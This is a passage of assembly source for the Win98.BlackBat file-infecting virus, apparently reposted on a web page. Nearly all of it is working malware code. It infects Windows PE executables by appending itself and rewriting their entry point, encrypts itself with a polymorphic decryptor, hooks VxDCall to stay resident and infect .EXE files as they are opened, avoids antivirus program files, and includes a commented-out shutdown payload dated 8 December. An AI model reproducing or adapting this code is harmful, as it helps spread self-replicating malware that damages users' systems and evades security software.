;Calculate Bytes of JMP Instruction
add eax, offset ReturnToHost – offset StartOfVirusCode
mov ebx, [dwIOH]
sub eax, (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint
add eax, 4
not eax
mov [dwJumpBytes], eax ;Save Bytes
;Append the Virus to the host
mov esi, offset StartOfVirusCode ;Copy Virus from Here…
add esi, [dwDeltaOffset] ;since StartOfVirusCode will vary after infection
mov edi, [dwVirusBegin] ;…to here
mov ebx, [dwDeltaOffset]
add edi, [ebx + lpHostFile] ;true location to copy to
mov ecx, VIRUS_SIZE
rep movsb
;Write New Jump Instruction in File
;Offset in File where operand to JMP instruction is to be put
mov ebx, offset ReturnToHost + 1 – offset StartOfVirusCode
add ebx, [dwVirusBegin] ;True offset in file
mov esi, [dwDeltaOffset]
add ebx, [esi + lpHostFile] ;Correct offset in Memory Mapped File
mov ecx, [dwJumpBytes] ;Get operand for jmp instruction
mov [ebx], ecx ;Put it in the file
;Update the Last Section Header
mov eax, [lpdwLastSection]
mov ebx, [dwIncSecSize]
mov ecx, [dwIncFileSize]
add (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData, ecx
add (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx
or (IMAGE_SECTION_HEADER [eax]).ISH_Characteristics, IMAGE_READ_WRITE_EXECUTE
;Fix VirtualSize (if Required) for files like TRACERT.EXE)
mov ebx, (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData
cmp (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Virtual Size Wrong
jge VirtualSizeFine ;No, Fix Not Required
mov (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Yes, Fix it
VirtualSizeFine:
;Update the PE Header (Image Size)
mov ebx, [dwIOH] ;Address of Image Optional Header
add (IMAGE_OPTIONAL_HEADER [ebx]).IOH_SizeOfImage, ecx
;Update the PE Header (Entry RVA)
mov ecx, [dwNewEntryRVA] ;Get New Entry RVA
mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint, ecx
;Update the Win32VersionValue field. This is used as a Virus Signature
mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
;Encrypt the file, and Close it
mov ebx, [dwDeltaOffset]
mov edi, [ebx + lpHostFile] ;Staring address of Host File
add edi, [dwVirusBegin] ;Address of virus in file
call EncryptVirus
call UnmapAndCloseFile, if_szFileName
xor eax, eax
inc eax ;All OK, Return Code 1
End_InfectFile:
ret
InfectFile ENDP
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | EncryptVirus | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> Encrypts the Virus Code with a random byte, and mutates the decryptor,
; making the virus Encrypted & Polymorphic
;
; Arguments
; -> EDI: Starting address of Virus in Memory Mapped File
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> All except EDI
;____
EncryptVirus PROC
push edi ;Save starting address of virus code
;Get Encryption Key, to be used for encrypting/decrypting
;@DELTA esi
;call esi + GetTickCount ;Get random number in EAX (AL)
in al, 40h ;Get random encryption key
IF DEBUG
xor al, al ;Don’t encrypt in Debug Mode
ENDIF
mov ecx, ENCRYPTED_SIZE
add edi, LOADER_SIZE ;Don’t enrypt the loader !!
EncryptByte:
xor byte ptr [edi], al ;al = Encryption Key
inc edi
loop EncryptByte
pop edi ;restore starting address of virus code
;Update the Encryption Key in the decryptor
mov byte ptr [edi + EncryptionKey – StartOfVirusCode], al
;Mutate the Decryptor
call MutateDecryptor
ret
EncryptVirus ENDP
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | StringLength | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> Returns the length of the string
;
; Arguments
; -> DWORD sl_lpszString: Address of the string
;
; Return Value:
; -> EAX: Length of the string
;
; Registers Destroyed
; -> EAX, ECX, EDI
;________________________
StringLength PROC sl_lpszString:DWORD
mov edi, sl_lpszString ;string whose length is required
xor ecx, ecx
dec ecx ;ecx = -1, search till infinity
xor eax, eax ;search for NULL character
repne scasb ;Find the terminating NULL
not ecx
dec ecx ;length of string
mov eax, ecx ;return length of string
ret
StringLength ENDP
;* ; TimerProc ;*
; Description
; -> This function is called when the Time-out value for the Timer Expires.
;
; Arguments
; -> tp_hwnd: Handle of the window
; tp_uMsg: WM_TIMER
; tp_idEvent: ID of the timer
; tp_dwTimer: Value of GetTickCount()
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> All
;_________________________________________________________________
;TimerProc PROC tp_hwnd:DWORD, tp_uMsg:DWORD, tp_idEvent:DWORD, tp_dwTime:DWORD
; LOCAL dwDeltaOffset:DWORD, \
; dwFileNumber:DWORD, \
; stTime:SYSTEMTIME
; pushad ;must save, since this is a CALLBACK fn
; @DELTA esi
; mov [dwDeltaOffset], esi
;
;Check if Date is 8th December
; lea eax, stTime
; call esi + GetLocalTime, eax
; cmp stTime.ST_wMonth, 12 ;is Month = December
; jne Not_8_December ;No
; cmp stTime.ST_wDay, 8 ;Yes. Is Day = 8th
; jne Not_8_December ;No
;
;Deliever Payload since date is 8th December
; call PayLoad
;
;Not_8_December:
;
;Lock System if Windows has been running for a long time
; ;cmp tp_dwTime, MAX_RUN_TIME ;Is Windows Up-time > 2 hours
; ;jle NoLockWindows ;No
; ;DB 0F0h ;Yes, use F00F Bug to hang / lock System
; ;DB 0Fh
; ;DB 0C7h
; ;DB 0C8h
;
;NoLockWindows:
;
;
;End_TimerElapsed:
; popad ;restore state
; ret
;TimerProc ENDP
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | CanFileBeInfected | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> This function checks if a file can be infected or not. It checks the
; following:
; 1. File must be an EXE
; 2. File must be a PE
; 3. It must not be a DLL
; 4. File must not be infected by our virus
; 5. It must not be a Winzip Self-Extractor File
;
; If all the above conditions are met, this function returns the size, in
; bytes, by which the file and section must be increased when the file is
; infected.
;
; Arguments
; -> DWORD cfbe_szFileName: ASCIIZ Name of the file to check
;
; Return Value:
; -> EAX: 1 if the file can be infected, 0 Otherwise
; -> EBX: Bytes by which the file size must be increased if it is infected
; -> ECX: Bytes by which the last section size must be increased if it is infected
;
; Registers Destroyed
; -> All
;_______________________________
CanFileBeInfected PROC cfbe_szFileName:DWORD
;Map File, without increasing the File Size
call OpenAndMapFile, cfbe_szFileName, 0
test eax, eax ;File Opened & Mapped Successfully
jz End_CanFileBeInfected ;No, Return with Error Code = 0
;Get File Headers
call GetFileHeaders, eax
test eax, eax ;Successfully retreived file headers
je End_CanFileBeInfected ;No, probably not a PE file
;Check if file is infected. We use the Win32VersionValue for storing our signature
cmp (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
jz Error_CanFileBeInfected ;File is already infected
;Check if file is a DLL
test (IMAGE_FILE_HEADER [eax]).IFH_Characteristics, IMAGE_FILE_DLL
jnz Error_CanFileBeInfected ;Yes
;Check if last section is sharable
;mov edx, (IMAGE_SECTION_HEADER [ecx]).ISH_Characteristics
;and edx, IMAGE_SCN_MEM_SHARED ;Is Section Sharable
;jnz Error_CanFileBeInfected ;Yes, don’t infect
;Don’t infect Winzip Self-Extractor Files.
;The last section of this file has the name winzip. Note that Winzip
;Self-Extrator Personal Edition Files will still be infected, since they
;don’t have this section
cmp dword ptr (IMAGE_SECTION_HEADER [ecx]).ISH_Name, “niw_” ;”win” ? je Error_CanFileBeInfected ;Yes, dont infect ;OK, File can be infected, Great !!, 😉 mov eax, ebx ;Image Optional Header mov ebx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_FileAlignment mov ecx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_SectionAlignment ;Calculate Increase in Section size ;INC_SEC_SIZE = [(VIRUS_SIZE – 1 + SECTION_ALIGN) / SECTION_ALIGN] * SECTION_ALIGN mov eax, VIRUS_SIZE – 1 add eax, ecx ;Add Section Alignment xor edx, edx ;We need to divide only EAX div ecx ;Divide by SECTION_ALIGN mul ecx ;Multiply by SECTION_ALIGN push eax ;Save Increase in Section Size ;Calculate Increase in File Size ;INC_FILE_SIZE = (INC_SEC_SIZE – 1 + FILE_ALIGN) / FILE_ALIGN] * FILE_ALIGN ;mov eax, VIRUS_SIZE;**NEW LINE ;dec eax ;INC_SEC_SIZE – 1 mov eax, VIRUS_SIZE – 1 add eax, ebx ;Add File Alignment, FILE_ALIGN div ebx ;Divide by FILE_ALIGN mul ebx ;Multiply by FILE_ALIGN push eax ;Save Increase in File Size ;Close the file, and return relevant values call UnmapAndCloseFile, cfbe_szFileName pop ebx ;Get Increase in File Size pop ecx ;Get Increase in Section Size xor eax, eax inc eax ;Return Code 1 jmp End_CanFileBeInfected Error_CanFileBeInfected: call UnmapAndCloseFile, cfbe_szFileName xor eax, eax ;Return Code 0 End_CanFileBeInfected: ret CanFileBeInfected ENDP ;+—————————————————————————-+ ;| +————————————————————————+ | ;| | | | ;| | PayLoad | | ;| | | | ;| +————————————————————————+ | ;+—————————————————————————-+ ; Description ; -> This function is called on the 8th of December. It delievers the Payload ; of the virus. ; ; Arguments ; -> None. ; ; Return Value: ; -> None. ; ; Registers Destroyed ; -> All ;
;PayLoad PROC
; @DELTA esi
; ;call ExitWindowsEx, EWX_FORCE OR EWX_SHUTDOWN, NULL
; call esi + ExitWindowsEx, EWX_SHUTDOWN, NULL
; ret
;PayLoad ENDP
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | CanMachineBeInfected | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> This function is called to check if the virus should infect this machine
; or not. This is used, so that the virus doesn’t infect My Machine !!
;
; Arguments
; -> None.
;
; Return Value:
; -> EAX: 0 -> machine should not be infected, else it can be infected
;
; Registers Destroyed
; -> All
;____________
CanMachineBeInfected PROC
@DELTA esi
;Check if the “No Infect” file exists on the current machine
mov eax, esi
add eax, offset szNoInfectFileName
call esi + CreateFileA, eax, GENERIC_READ, FILE_SHARE_READ, NULL, \
OPEN_EXISTING, NULL, NULL
cmp eax, INVALID_HANDLE_VALUE ;File Opened ?
je End_CanMachineBeInfected ;No, so machine can be infected
;Close the file, and return 0, since its probably my machine
call esi + CloseHandle, eax
xor eax, eax ;return 0, so that machine is not infected
End_CanMachineBeInfected:
ret
CanMachineBeInfected ENDP
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | RelocateVirus | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> This function allocates memory in the Shared area and copies the Virus
; to that area.
;
; Arguments
; -> None.
;
; Return Value:
; -> EAX: Base address of Memory where the Virus was copied, or NULL if an
; error occured.
;
; Registers Destroyed
; -> All
;_____
RelocateVirus PROC
LOCAL dwDeltaOffset:DWORD, \
dwMemoryRegion:DWORD
@DELTA esi
mov [dwDeltaOffset], esi
;Reserve Shared Memory
@DELTA esi
call esi + VxDCall, PageReserve, PR_SHARED, VIRUS_SIZE_PAGES, \
PC_WRITEABLE OR PC_USER
cmp eax, INVALID_HANDLE_VALUE ;Memory Allocate Successfully?
je Error_RelocateVirus ;No
cmp eax, SHARED_MEMORY ;Shared memory Allocated?
jb Error_RelocateVirus ;No
;Save Address of Region
mov [dwMemoryRegion], eax
;Commit Shared Memory
shr eax, 0Ch ;Page Number
mov esi, [dwDeltaOffset]
call esi + VxDCall, PageCommit, eax, VIRUS_SIZE_PAGES, PD_ZEROINIT, 0, \
PC_WRITEABLE OR PC_USER OR PC_PRESENT OR PC_FIXED
or eax,eax
je Error_RelocateVirus
;Copy Virus to Newly Allocate Memory
mov esi, dwDeltaOffset
add esi, offset StartOfVirusCode ;Start Copying From Here
mov edi, [dwMemoryRegion] ;Copy Here
mov ecx, VIRUS_SIZE ;Size to Copy
rep movsb
mov eax, [dwMemoryRegion] ;Return Region of Shared Memory Allocated
jmp End_RelocateVirus
Error_RelocateVirus:
xor eax, eax ;Return 0, since an error occured
End_RelocateVirus:
ret
RelocateVirus ENDP
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | InstallHookProcedure | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> This function installs a hook procedure to monitor VxDCalls
;
; Arguments
; -> None.
;
; Return Value:
; -> None.
;
; Registers Destroyed
; -> All
;____________
InstallHookProcedure PROC
LOCAL dwDeltaOffset:DWORD
@DELTA esi
mov [dwDeltaOffset], esi
;Modify the JMP instruction, so that it points to the address of OldInt30
mov eax, esi
add eax, offset OldInt30Address ;Bytes to modify
mov ebx, esi
add ebx, offset OldInt30 ;Address of OldInt30
mov [eax], ebx ;Modify JMP instruction
;The disassembly of the VxDCall function looks like this:
;
;8B 44 24 04 MOV EAX, DWORD PTR [ESP+04h]
;8F 04 24 POP DWORD PTR [ESP]
;2E FF 1D XX XX XX XX CALL FWORD PTR CS:[XXXXXXXX]
;
;The last instuction points to an INT 30h instruction that is used by
;VxDCall to jump to Ring 0. So, to hook VxDCall’s, we must modify the
;address pointed to by the CALL, i.e. XXXXXX, so that it points to our
;code. Before that, we should save the current address, so that we can
;call the old INT 30h
;Trace through VxDCall, until we come to the XXXXXXXX bytes
add esi, offset VxDCall
mov esi, [esi] ;First byte of VxDCall function
mov ecx, 50 ;Scan upto 50 bytes
TraceVxDCall:
lodsb ;Get current byte
cmp al, 2Eh ;First byte of CALL instruction?
jne TraceVxDCall_NextByte ;No, check next byte
cmp word ptr [esi], 1DFFh ;Next two bytes of instruction?
je TraceVxDCall_AddressFound ;Yes
TraceVxDCall_NextByte:
loop TraceVxDCall ;Continue Checking…
TraceVxDCall_AddressFound:
;Save Current INT 30h Address
cli ;Cannot afford to be interrupted
lodsw ;Skip over FF and 1D opcodes of CALL
lodsd ;Pointer to INT 30h instruction, XXXXXXXX
mov esi, eax ;Copy Bytes From Here
mov edi, [dwDeltaOffset]
add edi, offset OldInt30 ;To Here
mov ecx, 6 ;Save 6 bytes, FWORD
rep movsb
;Install New INT 30h Handler
mov edi, eax ;Pointer to INT 30h instruction
mov eax, [dwDeltaOffset]
add eax, offset VxDInt30Handler ;Copy This Address
stosd ;Save 4 bytes …
mov ax, cs
stosw ;and 2 bytes (since FWORD instruction)
sti ;Handler installed, enable interrupts
ret
InstallHookProcedure ENDP
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | VxDInt30Handler | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> This is the hook procedure that monitors VxDCalls (INT 30h)
;
; Arguments
; -> None.
;
; Return Value:
; -> None.
;
; Registers Destroyed
; -> All
;_______
VxDInt30Handler PROC
pushad ;Save all, since this is an interrupt handler
;Make sure that we don’t process our own calls
@OFFSET ebp, VxDCall_Busy
cmp byte ptr [ebp], TRUE ;Is Virus busy
je Exit_VxDInt30Handler ;Yes, prevent re-entrancy
;Process only INT 21h Services
cmp eax, VWIN32_Int21Dispatch ;VWIN32 VxD int 21h?
jne Exit_VxDInt30Handler
mov eax,dword ptr [esp+0000002Ch] ;Get 21h Service
cmp ax, RESIDENCY_CHECK_SERVICE ;Check for Residency?
je Residency_Check ;Yes
cmp ax, LFN_OPEN_FILE_EXTENDED ;LFN Open Extended
je Extended_File_Open
jmp Exit_VxDInt30Handler ;None, go to default handler
Residency_Check:
;Virus Residency Check
popad ;Restore stack and other regs
mov esi, RESIDENCY_SUCCESS ;Tell caller that we’re resident
jmp Original_VxDInt30Handler ;Go to original handler
Extended_File_Open:
;Prevent Re-entrancy
@OFFSET eax, VxDCall_Busy
mov byte ptr [eax], TRUE
push esi
call IsFilenameOK, esi
pop esi
or eax, eax
jz File_Not_Executable
;Do Stuff
call OutputFileName
File_Not_Executable:
;Finished Processing
@OFFSET eax, VxDCall_Busy
mov byte ptr [eax], FALSE
Exit_VxDInt30Handler:
popad ;Restore, before transfering control
Original_VxDInt30Handler:
;The following bytes will be translated to JMP FWORD PTR CS:[00000000]
DB 2Eh, 0FFh, 2Dh ;JMP FWORD PTR CS:[XXXXXXXX]
OldInt30Address: ;The following 4 bytes will be replaced by the
DB 4 DUP (0) ;address of OldInt30 in memory.
;ret ;Not required, since we’re jumping out
VxDInt30Handler ENDP
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | IsFilenameOK | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> This function checks if the filename is OK for infection or not. If the
; filename meets any of the folling criteria, this function returns a
; failure.
; * Filename is less than 5 characters. This is checked, because
; we are infecting only .EXE files, so the minimum length of such
; a file is 5 characters
; * The filename must end in “.EXE” (or “.XYZ” for DEBUG mode). The
; comparison is case insensitive
; * The filename must NOT consist of any of the following pairs of
; characters, viz., “AV”, “AN”, “F-“. This is done to prevent
; infection of Anti-Virus program files.
;
; Arguments
; -> ife_szFilename: Address of the buffer where the filename is stored
;
; Return Value:
; -> EAX: 1 if the filename is OK, 0 otherwise
;
; Registers Destroyed
; -> All
;_______________________
IsFilenameOK PROC ife_szFilename
LOCAL szExtention[4]:BYTE
;Check Filename Length
mov esi, ife_szFilename
call StringLength, esi ;Get length of filename
cmp eax, 4 ;Is File name less than 5 characters (.EXE)
jl Error_IsFilenameOk ;Yes, Don’t infect
push eax ;Save Length of Filename
;Get File Extention
mov eax, [esi + eax – 4] ;File Extention (including “.”)
lea edx, szExtention ;Get Address of Extention Buffer
mov [edx], eax ;Store extention in buffer
;Convert to upper case
mov ecx, 3 ;3 characters to be converted
ToUpperCase:
inc edx ;Don’t have to check “.” for upper case
cmp byte ptr [edx], “a”
jl NextCharacter
cmp byte ptr [edx], “z”
jg NextCharacter
sub byte ptr [edx], “a” – “A” ;Convert to upper case
NextCharacter:
loop ToUpperCase
pop ecx ;Get Length of Filename
;Check the Extention
IF DEBUG
cmp dword ptr [edx – 3], “ZYX.” ;Is Extention “.XYZ” (Debug Only)
ELSE
ERR “Release Mode, Executables will be Infected !!!” ;Comment to assemble
cmp dword ptr [edx – 3], “EXE.” ;Is Extention “.XYZ” (Release Only)
ENDIF
jne Error_IsFilenameOk ;No, Extention doesn’t match
;Check Anti-Virus Program Files
dec ecx ;Since we’re checking 2 char, last char not reqd
CheckAntiVirusFiles:
cmp word ptr [esi], “VA” ;”AV”; for NAV (Norton), TBAV (ThunderByte)
je Error_IsFilenameOk
cmp word ptr [esi], “va”
je Error_IsFilenameOk
cmp word ptr [esi], “-F” ;”F-“; for F-PROT
je Error_IsFilenameOk
cmp word ptr [esi], “NA” ;”AN”, for SCAN (McAfee), CLEAN
je Error_IsFilenameOk
cmp word ptr [esi], “na”
je Error_IsFilenameOk
inc esi ;Next Character
loop CheckAntiVirusFiles ;Check All
xor eax, eax
inc eax
jmp End_IsFilenameOk
Error_IsFilenameOk:
xor eax, eax
End_IsFilenameOk:
ret
IsFilenameOK ENDP
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
OutputFileName PROC
LOCAL dwFilename:DWORD, \
dwDeltaOffset:DWORD
mov [dwFilename], esi
@DELTA esi
mov [dwDeltaOffset], esi
;Create File to write into
mov edx, [dwDeltaOffset]
add edx, offset szOutputFile
mov esi, 0BFF77ADFh
call esi, edx, GENERIC_READ OR GENERIC_WRITE, FILE_SHARE_READ, \
0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
cmp eax, INVALID_HANDLE_VALUE
je End_OutputFileName
;Go to end of file
push eax ;Save Handle
mov esi, 0BFF7713Fh ;SetFilePointer
call esi, eax, 0, 0, 2
pop eax ;Restore Handle
;Get Length of FileName
push eax ;Save Handle
mov edx, [dwFilename]
mov esi, 0BFF773ADh ;lstrlen
call esi, edx
mov ebx, eax ;length of filename
pop eax ;Restore Handle
;Write Into File
push eax ;save handle
push eax ;Create Buffer, used for number of bytes written
lea ecx, [esp – 4]
mov edx, [dwFilename]
mov esi,0BFF76FD5h ;WriteFile
call esi, eax, edx, ebx, ecx, 0
pop eax ;Remove Buffer
pop eax ;restore handle
;Close File
mov esi, 0BFF7E064h
call esi, eax
End_OutputFileName:
ret
OutputFileName ENDP
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | IsVirusActive | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> This function returns 1 if the virus is active in memory, else returns
; 0. This function also saves the address of the VxDCall API.
;
; Arguments
; -> None.
;
; Return Value:
; -> EAX: 1 if the Virus is Resident. 0 otherwise
;
; Registers Destroyed
; -> All
;_____
IsVirusActive PROC
call GetAddressOfKernelAPI, 0 ;Get Address Of VxDCall API
test eax, eax ;Found Address ?
jz End_IsVirusActive ;No, Return 0
;Save address of VxDCall API
@OFFSET ebx, VxDCall
mov [ebx], eax ;Save Address
;Check if Virus is Already Resident
@CALL_INT21h RESIDENCY_CHECK_SERVICE
xor eax, eax ;Assume not resident
cmp esi, RESIDENCY_SUCCESS ;Is Virus Resident
jne End_IsVirusActive ;No, return 0
inc eax ;Yes, return 1
End_IsVirusActive:
ret
IsVirusActive ENDP
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | GetFileHeaders | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> This function retreives the address of various file headers, viz.,
; Image File Header, Image Optional Header, Last Section Header,
; Image Export Directory. The function fails if the specified file is
; not a Portable Executable (PE) file
;
; Arguments
; -> gfh_dwFileBase: Base Address of File (in Memory) whose headers are
; required.
;
; Return Value:
; -> EAX: Address of the Image File Header, or 0 if the function failed
; -> EBX: Address of the Image Optional Header
; -> ECX: Address of the Last Sections Header
; -> EDX: Address of the Image Export Directory
;
; Registers Destroyed
; -> All
;___________________________
GetFileHeaders PROC gfh_dwFileBase:DWORD
LOCAL dwIOH:DWORD, \
dwIED:DWORD, \
mov esi, [gfh_dwFileBase]
cmp word ptr [esi], “ZM” ;Is EXE/DLL Present ?
jne Error_GetFileHeaders ;No
;Check for PE Signature
add esi, (IMAGE_DOS_HEADER [esi]).IDH_e_lfanew
cmp dword ptr [esi], “EP” ;PE File ?
jne Error_GetFileHeaders ;No
;Get Image Optional Header
add esi, IMAGE_SIZEOF_NT_SIGNATURE ;Image File Header
push esi ;Save Image File Header
add esi, SIZE IMAGE_FILE_HEADER ;Image Optional Header
mov [dwIOH], esi ;Save
;Get the Address of the Image Export Directory
mov esi, (IMAGE_OPTIONAL_HEADER [esi]).IOH_DataDirectory(0).IDD_VirtualAddress ;RVA Image
Export Directory
add esi, [gfh_dwFileBase]
mov dword ptr [dwIED], esi
;Get Address of Last Section Header
pop esi ;Get Image File header
movzx ecx, (IMAGE_FILE_HEADER [esi]).IFH_SizeOfOptionalHeader
add ecx, [dwIOH] ;Address of First Section Header
movzx eax, (IMAGE_FILE_HEADER [esi]).IFH_NumberOfSections
dec eax ;Number of Sections – 1
imul eax, eax, SIZE IMAGE_SECTION_HEADER ;Size of All Section Headers
;mov ebx, SIZE IMAGE_SECTION_HEADER
;mul ebx ;Size of All Section Headers
add ecx, eax ;Address of Last Section Header
;Return Header Values
mov eax, esi ;Image File Header
mov ebx, [dwIOH]
mov edx, [dwIED]
jmp End_GetFileHeaders
Error_GetFileHeaders:
xor eax, eax ;Error, Return 0
End_GetFileHeaders:
ret
GetFileHeaders ENDP
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | MutateDecryptor | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> This function modifies the registers used in the decryptor, to make it
; polymorphic. The decrypor uses two registers; one as an index, and the
; other as a counter. The registers EAX, EBX, ECX, EDX, ESI and EDI are
; used as random registers. The opcodes are generated in the following way.
; First the opcode is calculated using register EAX; e.g. the opcode for
; POP EAX is 58h. To generate the opcodes for the other registers, we add
; the number of the register. The number for EDX is 2. Adding this to 58h,
; we get 5Ah, which is the opcode for POP EDX
;
; Arguments
; -> EDI: Start of decrypor that need to be mutated
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> AX, BL
;_______
MutateDecryptor PROC
;Get Two Random Registers
call RandomRegister ;Get First Register Number
mov ah, al ;Save It
GetAnotherRegister:
call RandomRegister ;Get Second Register Number
cmp ah, al ;Is it the same as First
je GetAnotherRegister ;Yes, get another one
;Modify Decryptor, so that it uses the new registers
mov bl, 58h ;Change “pop “
add bl, al ;Register 1
mov byte ptr [edi + 5], bl
mov bl, 0C0h ;Change “add , …”
add bl, al ;Register 1
mov byte ptr [edi + 7], bl
mov bl, 0B8h ;Change “mov , …”
add bl, ah ;Register 2
mov byte ptr [edi + 9], bl
mov bl, 30h ;Change “xor byte ptr [], …”
add bl, al ;Register 1
mov byte ptr [edi + 15], bl
mov bl, 40h ;Change “inc “
add bl, al ;Register 1
mov byte ptr [edi + 17], bl
mov bl, 48h ;Change “dec “
add bl, ah ;Register 2
mov byte ptr [edi + 18], bl
ret
MutateDecryptor ENDP
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | RandomRegister | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
; Description
; -> This function returns a random number from 0, 1, 2, 3, 6, and 7. Each of
; these values is used to identify a register.
; EAX=0, ECX=1, EDX=2, EBX=3, ESI=6, EDI=7
;
; Arguments
; -> None.
;
; Return Value:
; -> AL: Random number (0, 1, 2, 3, 6 or 7)
;
; Registers Destroyed
; -> AL
;______
RandomRegister PROC
NewRandom:
in al, 40h ;Get Random Number
and al,00000111b ;Maximum value 7
cmp al, 4 ;Should not be 4…
je NewRandom
cmp al, 5 ;…or 5
je NewRandom
ret
RandomRegister ENDP
;+—————————————————————————-+
;| +————————————————————————+ |
;| | | |
;| | End Of Virus Code | |
;| | | |
;| +————————————————————————+ |
;+—————————————————————————-+
VIRUS_SIZE EQU $ – offset StartOfVirusCode
ENCRYPTED_SIZE EQU $ – offset EncryptedVirusCode
LOADER_SIZE EQU VIRUS_SIZE – ENCRYPTED_SIZE
VIRUS_SIZE_PAGES EQU (VIRUS_SIZE / PAGE_SIZE) + 1
END StartOfVirusCode
Win98.BlackBat Virus

Tagged:Featured